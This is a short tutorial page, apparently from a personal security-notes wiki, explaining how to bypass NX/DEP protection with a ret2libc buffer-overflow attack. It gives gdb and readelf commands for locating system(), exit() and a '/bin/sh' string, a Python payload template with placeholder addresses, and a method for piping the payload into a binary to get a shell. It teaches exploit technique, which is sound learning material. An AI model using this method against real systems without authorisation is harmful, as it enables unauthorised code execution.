Bypassing NX (DEP)
NX (NoExecute) is also called DEP (Data Execution Prevention) prevents execution of shellcode on the stack. This prevents the standard buffer overflow method since the shellcode on the memory doesnt get executed. This would result in a SIGSEGV error.
To bypass this limitation, you use pointers of things already defined and pass arguments to them, since that is still allowed.
LibC is a library on linux by default toi make low level functions work. This is imported in a lot of binaries to function.
When the EIP is overwritten as part of the exploit, we can point it to functions in LibC (assuming its imported) and pass args to them to execute code.
ldd <binary-name>
gdb -q <binary>
vmmap libc
# For this to work you may need to execute the program and have it break somewhere
nm -D /lib/$(uname -m)-linux-gnu/libc-*.so | grep -vw U | grep -v "_" | cut -d " " -f3
When calling a function in LibC, we need to know how to prepare the stack. We will need to have the function address, the return address (such as exit()) and then the arguments for the function.
gdb -q <binary>
# Get the base address of libc in the process
vmmap libc
# Get the offset of the function in libc
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"
# Work out the address in the process
p base + offset
# Get the value of a function in GDB with no maths
p <function>
p <return>
# Where function could be something like system(), and return exit()
Can now place in code
payload = ''
payload += 'A'*500
payload += '\xFF\xFF\xFF\xFF' # placing address of system here
payload += '\xFF\xFF\xFF\xFF' # placing address of return here
The function called will need arguments and they cant be passed along as a normal string. If calling a function such as system() in LibC, then the arg could be a location in memory already including /bin/sh or something similar.
gdb -q <binary>
find /bin
# This should return strings in memory.
# Hopefully something from LibC will be here and you can use it
# If nothing is found
quit
export SHELL='/bin/sh'
gdb -q <binary>
find /bin
# Should now be here on the stack at the bottom from env variable
Can now place in code
payload = ''
payload += 'A'*500
payload += '\xFF\xFF\xFF\xFF' # placing address of system here
payload += '\xFF\xFF\xFF\xFF' # placing address of return here
payload += '\xFF\xFF\xFF\xFF' # Placing address of string argument here
Python can either be used to launch it directly, or print it all out to term and then pipe. To use with the double cat method, pipe out to a file (exploit.txt), then use.
python exploit.py > exploit.txt
(cat ./exploit.txt; cat) | ./binary
Last modified 2yr ago